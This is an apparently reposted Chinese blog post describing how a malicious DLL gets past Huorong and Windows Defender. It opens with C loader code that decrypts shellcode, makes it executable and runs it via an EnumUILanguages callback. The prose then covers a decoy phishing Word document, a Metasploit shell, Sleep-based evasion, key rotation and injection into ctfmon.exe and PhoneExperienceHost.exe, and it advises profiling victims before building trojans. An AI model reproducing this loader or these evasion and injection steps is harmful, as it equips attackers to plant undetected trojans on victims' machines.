DWORD WINAPI jmp_shellcode(LPVOID pPara)
{

    unsigned char* addrShellcode = decrypt();
    DWORD dwOldPro = 0;
    BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 00);
    return 0;
}


HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        decrypt();
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL0, jmp_shellcode, 000);
        MessageBox(NULLL'You are hacked 'L'Hacked by Leviathan', MB_OK);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

绕过火绒

难度: 3.0/5.0

当恶意软件着陆受害者机器时,直接绕过火绒防病毒静态检测。
图片
image.png
执行它,我们将得到弹窗 'Hacked by Leviathan',同时会打开我们的钓鱼Word文件,让执行者认为打开了正常的Word文件。实战中可以把弹窗取消,实验阶段只是更好证明shellcode已经运行。
图片
image.png
在MSF,我们得到了shell,所以火绒就是这样被绕过的。
图片
image.png

绕过 Windows Defender

难度: 4.5/5.0

我们也可以绕过 Windows Defender 静态检测
图片
image.png
我们将恶意dll加载到公共下载目录中,到目前为止看起来不错。
图片
image.png

但是我们无法获得外壳,windows defender 将检测到我们将未知的DLL文件注入explorer.exe

图片
image.png
我们得到了Windows Defender 防御威胁报告。现在我们必须尝试其他方法来获得shell。
图片
image.png

我们在敏感行为 (如GetProcAddress、CreateRemoteThread和VirutalAllocEx) 之前设置了Sleep函数。

图片
image.png

 在公共目录中写入文件之前,多睡一会儿。(否则 Windows Defender 会很快检测到)

图片
image.png
如果我们以管理员权限运行,Windows Defender将自动扫描它.
图片
image.png

 尝试我们注入的另一个进程,在这种情况下,我尝试在ctfmon.exe进程中注入DLL文件,并将DLL文件保存在管理员下载目录中。同时我把DLL里面的加密密钥换了一下,不得不说 Windows Defender会把文件特征码和服务器做识别(或者是传到服务器)查杀的效率越来越高,让人防不胜防。

图片
image.png
图片
image.png
在这种情况下,注入 PhoneExperienceHost.exe。
图片
image.png
我们成功地得到了最终的shell。
图片
image.png

总结

  1. 作为恶意软件研究学习者,我们必须了解不同防病毒软件中的特性行为。不同的防病毒软件有自己的检测方法。例如,Windows Defender会更加关注敏感目录 (公共目录等)。火绒在国内反病毒软件中更擅长进行静态检测。

  2.  DLL注入相对容易实现,但同时也相对容易被检测。因此,在开发特洛伊木马之前,请确保您在受害者机器中获得了系统重要信息 (系统版本、防病毒等)。

  3. 该程序仍需要在许多方面进行改进,如通信加密、更多隐藏方式注入、权限持维持等。

  4. 如果你的木马被杀软查杀,那就换个思考方式继续进行吧。

图片

原创投稿作者:Leviathan

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多